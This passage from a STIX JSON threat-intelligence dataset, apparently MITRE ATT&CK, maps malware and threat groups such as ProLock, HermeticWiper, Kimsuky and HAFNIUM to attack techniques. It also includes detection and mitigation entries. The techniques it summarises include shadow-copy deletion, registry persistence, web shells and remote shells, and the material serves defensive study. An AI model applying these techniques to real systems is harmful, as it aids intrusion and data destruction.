[{"source_name": "ESET DazzleSpy Jan 2022", "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/", "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). 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(2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-15T16:37:16.986Z", "description": "[AvosLocker](https://attack.mitre.org/software/S1053) has discovered system processes by calling `RmGetList`.(Citation: Malwarebytes AvosLocker Jul 2021)", "relationship_type": "uses", "source_ref": "malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f84b2658-a891-45a8-93ff-14dc0a86df10", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/", "description": "Grunzweig, J., Lee, B. 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Retrieved July 18, 2019."}], "modified": "2020-03-18T15:52:06.898Z", "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used a renamed cmd.exe file to evade detection.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f863b935-fd1e-4604-be94-a7ae150b8d53", "type": "relationship", "created": "2021-04-06T13:28:10.960Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dragos EKANS", "url": "https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/", "description": "Dragos. (2020, February 3). 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Retrieved March 18, 2022."}], "modified": "2022-03-22T14:53:03.794Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs operating system information discovery using <code>systeminfo</code> and has used implants to identify the system language and computer name.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f86ad19e-67a2-453d-8af9-c73a130651a4", "type": "relationship", "created": "2021-10-01T14:17:01.494Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB Ransomware September 2020", "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp", "description": "Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021."}], "modified": "2021-10-01T14:17:01.494Z", "description": "[ProLock](https://attack.mitre.org/software/S0654) can use vssadmin.exe to remove volume shadow copies.(Citation: Group IB Ransomware September 2020)", "relationship_type": "uses", "source_ref": "malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f86b3fe5-c004-4fed-aaac-cf7d68b8d315", "type": "relationship", "created": "2022-03-25T19:00:14.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelOne Hermetic Wiper February 2022", "url": "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack", "description": "Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."}, {"source_name": "Qualys Hermetic Wiper March 2022", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware", "description": "Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."}], "modified": "2022-03-25T21:34:45.585Z", "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) can initiate a system shutdown.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)", "relationship_type": "uses", "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f86c19e6-39a1-423c-8db2-a8258ac51bd6", "type": "relationship", "created": "2020-06-12T16:15:04.917Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."}], "modified": "2020-06-12T16:15:04.917Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) can collect data from removable media and stage it for exfiltration.(Citation: Eset Ramsay May 2020)\t", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8705660-10d1-4eca-80c6-f2884cdecb36", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", "source_name": "McAfee Gold Dragon"}], "modified": "2020-04-21T23:09:31.584Z", "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) enumerates registry keys with the command <code>regkeyenum</code> and obtains information for the Registry key <code>HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code>.(Citation: McAfee Gold Dragon)", "relationship_type": "uses", "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f873875b-5be1-4a6d-81aa-d61a922df087", "type": "relationship", "created": "2020-11-05T15:54:26.066Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-301A Kimsuky", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}], "modified": "2021-04-23T02:34:45.382Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used modified versions of open source PHP web shells to maintain access, often adding \"Dinosaur\" references within the code.(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f874b527-e973-40f2-89cb-2c7feab5b6b4", "type": "relationship", "created": "2020-06-10T20:19:59.929Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.650Z", "description": "[down_new](https://attack.mitre.org/software/S0472) has the ability to AES encrypt C2 communications.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--8be7c69e-d8e3-4970-9668-61de08e508cc", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f875597f-06ce-4402-bfec-eb55e28369c2", "type": "relationship", "created": "2020-03-16T23:54:26.195Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN6 April 2016", "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. 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Consider enabling versioning in cloud environments to maintain backup copies of storage objects.(Citation: Rhino S3 Ransomware Part 2)", "relationship_type": "mitigates", "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8bfa9b5-8754-467c-a71c-e2e577c8fbae", "type": "relationship", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.868Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). 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Retrieved March 18, 2021."}], "modified": "2021-04-14T15:25:06.128Z", "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) has stored keystrokes and screenshots within the <code>%temp%\\GoogleChrome</code>, <code>%temp%\\Downloads</code>, and <code>%temp%\\TrendMicroUpdate</code> directories.(Citation: CISA EB Aug 2020)", "relationship_type": "uses", "source_ref": "malware--e928333f-f3df-4039-9b8b-556c2add0e42", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8c27264-e42d-48fd-9a18-4b275383f155", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "source_name": "Symantec Elderwood Sept 2012"}], "modified": "2021-01-06T19:32:28.284Z", "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has packed malware payloads before delivery to victims.(Citation: Symantec Elderwood Sept 2012)", "relationship_type": "uses", "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f8c2b8e1-7439-48df-a8c3-6796fd4bb142", "created": "2023-03-02T18:59:11.281Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft BlackCat Jun 2022", "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.", "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-12T18:36:50.516Z", "description": "[BlackCat](https://attack.mitre.org/software/S1068) can utilize `net use` commands to discover the user name on a compromised host.(Citation: Microsoft BlackCat Jun 2022)", "relationship_type": "uses", "source_ref": "malware--50c44c34-3abb-48ae-9433-a2337de5b0bc", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8c320cc-97f5-4b3a-8847-92c42b6a48b7", "type": "relationship", "created": "2020-02-11T18:27:15.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T18:27:15.862Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8c754dd-a4a8-4507-bce2-c738e5354a3c", "type": "relationship", "created": "2020-11-16T21:16:42.732Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}], "modified": "2020-11-16T21:16:42.732Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can check for existing stratum cryptomining information in <code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\spreadCpuXmr \u2013 %stratum info%</code>.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8d053fe-be2f-43fd-88d5-507e82ee4e1d", "type": "relationship", "created": "2020-03-20T17:02:09.404Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Oceanlotus May 2017", "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt", "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."}, {"source_name": "Cybereason Cobalt Kitty 2017", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}], "modified": "2020-03-20T17:02:09.404Z", "description": "[Denis](https://attack.mitre.org/software/S0354) can launch a remote shell to execute arbitrary commands on the victim\u2019s machine.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8d812a6-c99d-48cb-93b7-c269150c59bd", "type": "relationship", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.833Z", "description": "Monitor events for changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670. Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ or that include additional flags such as changing a password without knowledge of the old password.\r\n\r\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.", "source_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8dbf944-f27b-4829-8781-9314908c9980", "type": "relationship", "created": "2021-06-18T15:26:55.706Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Siloscape Jun 2021", "url": "https://unit42.paloaltonetworks.com/siloscape/", "description": "Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}], "modified": "2021-06-18T15:26:55.706Z", "description": "[Siloscape](https://attack.mitre.org/software/S0623) makes various native API calls.(Citation: Unit 42 Siloscape Jun 2021)", "relationship_type": "uses", "source_ref": "malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8e25c1f-84bd-4ddd-bf18-51543d5cff94", "type": "relationship", "created": "2020-06-01T15:46:47.636Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM TA505 April 2020", "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}], "modified": "2021-12-01T23:27:44.605Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used HTTP to communicate with C2 nodes.(Citation: IBM TA505 April 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8e31b9d-941d-4f58-ae3a-3bdbf4b2a923", "type": "relationship", "created": "2021-06-21T13:17:56.510Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-21T13:17:56.510Z", "description": "[Ecipekac](https://attack.mitre.org/software/S0624) has the ability to decrypt fileless loader modules.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f8e3f60b-4a73-427e-85c6-cc58e1089791", "created": "2023-07-20T15:36:09.758Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-02T21:37:33.699Z", "description": "Monitor for files being accessed to exfiltrate data to a webhook as a malicious command and control channel.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8e6711c-de3d-4c9f-a255-96fa7719e0a4", "type": "relationship", "created": "2020-03-14T23:39:50.307Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-14T23:39:50.307Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8f21a3f-8bc7-49ee-a602-80df0e5e8bf4", "type": "relationship", "created": "2021-10-14T22:21:20.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Taidoor", "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"}], "modified": "2021-10-14T22:21:20.868Z", "description": "[Taidoor](https://attack.mitre.org/software/S0011) has modified the <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code> key for persistence.(Citation: TrendMicro Taidoor)", "relationship_type": "uses", "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8f24599-854a-4795-891b-c28d89b8ddcc", "type": "relationship", "created": "2020-06-10T18:29:32.028Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.430Z", "description": "[BBK](https://attack.mitre.org/software/S0470) has the ability to use the <code>CreatePipe</code> API to add a sub-process for execution via [cmd](https://attack.mitre.org/software/S0106).(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8f50914-3b71-40a2-b661-5e11571222a6", "type": "relationship", "created": "2019-09-13T14:29:19.317Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}], "modified": "2019-10-07T15:16:12.244Z", "description": "[Machete](https://attack.mitre.org/software/S0409) has the capability to exfiltrate stolen data to a hidden folder on a removable drive.(Citation: ESET Machete July 2019)", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8f63dca-91a1-4bbf-811c-4ed083b36246", "type": "relationship", "created": "2020-11-18T20:26:08.344Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Bazar July 2020", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}, {"source_name": "Zscaler Bazar September 2020", "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."}], "modified": "2020-11-19T18:31:09.022Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) has a variant with a packed payload.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8fe4311-f367-42bb-a51d-688753d0218b", "type": "relationship", "created": "2021-04-19T17:50:00.119Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft HAFNIUM March 2020", "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."}], "modified": "2021-04-19T17:50:00.119Z", "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used ASCII encoding for C2 traffic.(Citation: Microsoft HAFNIUM March 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, 